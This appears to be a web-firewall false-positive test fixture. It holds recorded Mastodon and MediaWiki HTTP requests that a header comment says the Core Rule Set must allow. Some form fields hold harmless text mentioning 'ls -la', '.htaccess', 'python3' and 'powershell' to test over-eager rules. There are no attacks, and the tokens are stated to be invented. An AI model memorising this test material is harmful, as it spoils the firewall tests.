{"method": "POST", "target": "/auth/password", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 154", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=onN31cxutUrkdlAsjTgZRSbqLWbPU0Vl%2FvH%2FhyZsReT8miqVWMxdD%2BguY%2Bqg%2Fj40HyJDDUJV8%2B6ckMeT1mtXy5gFLKRTmKJfPkMCHPRhSjDX8gkgo12yuMh3ld%2FrNHvbxNa14xV9z5bp01NZuJrNKY9a%2BZLAi66KeJ7%2FjL9EgT%2B8cVuGlkrEveNY9ns77gWSjRG9cqgpqbK%2F%2FRI7AqzAD0QdJziyU59cgs%2FDxwr0dd8%2BQSSu7SyLCownQ9tF%2B4dIwngHJg6JSDwsBzfGC7NDsZHFDp9%2BtLMeKA%3D%3D--5KTN0p7IpmlYsyNX--jXLGfWPMiD490n5JXGfNMQ%3D%3D"], "body": "authenticity_token=wfRKDkI7qHsuXolnsL4rNRhEeUpUc2OL4w9nofE7M_QLmREQyYJCvFOzcGYTLAlqHxnTgH8xcr6E4F4sc7Ro2A&user%5Bemail%5D=powershell%40example.com&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 282", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqY3dOR05pTURRME1UWmlZbVppT1RCaU1tWm1abVppWlRGbFltUmtObVkxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDU6MTA6MTIuODI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8594fc8147b2d23629c95a7431c076ee080a4f57; _mastodon_session=KtK1BZrdGRobd2xqCBEJfZVUudj0%2BSUW8TrvkGK0ZqmhC0Rh%2BUi%2FSjXaqHMSuhYCEjZNRN8u2b98XpxGTyp%2Bg09UbxjQBwfDBBfeSr3ne6qpaw5AlUvwMYCybj8eJ2hl2OPOvMiKgC%2FzcxWfpHbGsHG%2BNVsdXgWDX1o28gPkSAJDVqnyLf1oU4zsO4mKeiUDvKQN0uW0RjCpHpAJy7RCUzQe2N%2BBlJaBbdJ0ixGhkE2IVklAngJfVWYbhu4FxdCMhlgN3pNOOZ60FpvVYgEobCc2NursD0afkopkoDOcQkN%2FQOUTYWodPL3A8ATg6fA4rX1XMLUTHFBq8ujKiLj1K7izpb764r1M7RcTSwy1ZlejMRs3qLgeszlFrHWW7nNAW86%2B51tH8ZRH--0PZbJclhDE2LDd7W--d%2By6fe0fWZYd3syDnPoIgw%3D%3D"], "body": "_method=put&authenticity_token=ckaBKUhX16h1HG-5tvLsAvRglICUuw583pReBXgF1ZVYjPY9N8EhdPbuO9tg0hUpOC0P2Jy180A2nydjM6X3SQ&user%5Bemail%5D=python3.notes%40example.com&user%5Bcurrent_password%5D=0fbac3da2c8c42297ea052a558c463d7&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&button="}
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 237"], "body": "{\"display_name\":\"ls -la shows the .htaccess file\",\"note\":\"python3 and powershell scripts that edit .htaccess\",\"fields_attributes\":[{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"}]}\n"}
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 169"], "body": "{\"note\":\"ls -la shows the .htaccess file\",\"fields_attributes\":[{\"name\":\"python3 and powershell scripts that edit .htaccess\",\"value\":\"ls -la shows the .htaccess file\"}]}\n"}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Length: 174", "Content-Type: application/x-www-form-urlencoded"], "body": "username=dawn_walks&email=dawn_walks%40example.com&password=ls+-la+shows+the+.htaccess+file&agreement=true&locale=en&reason=python3+and+powershell+scripts+that+edit+.htaccess"}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Length: 142", "Content-Type: application/x-www-form-urlencoded"], "body": "username=dusk_walks&email=dusk_walks%40example.com&password=river+walk+at+dawn&agreement=true&locale=en&reason=ls+-la+shows+the+.htaccess+file"}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Type: application/json", "Content-Length: 203"], "body": "{\"username\":\"evening_walks\",\"email\":\"evening_walks@example.com\",\"password\":\"ls -la shows the .htaccess file\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"python3 and powershell scripts that edit .htaccess\"}\n"}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Type: application/json", "Content-Length: 167"], "body": "{\"username\":\"night_walks\",\"email\":\"night_walks@example.com\",\"password\":\"river walk at dawn\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"ls -la shows the .htaccess file\"}\n"}
-671
View File
@@ -1,671 +0,0 @@
# Ordinary MediaWiki 1.46 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a wiki driven by a headless Chrome and
# an API client. Each line is one request as JSON. Host names, passwords and
# session cookies are invented.
{"method": "GET", "target": "/images/README", "headers": ["Host: example.com", "User-Agent: MediaWiki/1.46.2 (https://\ud83c\udf3b.invalid)"], "body": ""}
{"method": "GET", "target": "/wiki/Main_Page", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=3x4w7", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?title=Main_Page&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.makeCollapsible.styles%7Cmediawiki.action.history.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.feedlink%2Chelplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.special.changeslist%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Main_Page&action=history", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.history%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.DateInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1mqik", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Main_Page&action=history", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wiki/Special:RecentChanges", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.feedlink%2Chelplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.rcfilters.filters.base.styles%7Cmediawiki.special.changeslist%7Cmediawiki.special.changeslist.enhanced%2Clegend%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:RecentChanges", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2CmakeCollapsible%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.rcfilters.filters.ui%7Cmediawiki.special.changeslist.legend.js%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-editing-styling%2Cicons-interactions%2Cicons-layout%2Cicons-media%2Cicons-moderation%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6mcou", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:RecentChanges", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Random", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.typeaheadSearch%7Cmediawiki.skinning.typeaheadSearch%7Cskins.vector.search%7Cvue&skin=vector-2022&version=1f1tf", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.special.search.styles%7Cmediawiki.widgets.SearchInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ChighlightText%2Csuggestions%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2CsearchSuggest%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.search%7Cmediawiki.widgets.SearchInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-interactions%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=j0mv5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=Lighthouse&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=python3&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=python3&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=powershell&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=powershell&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
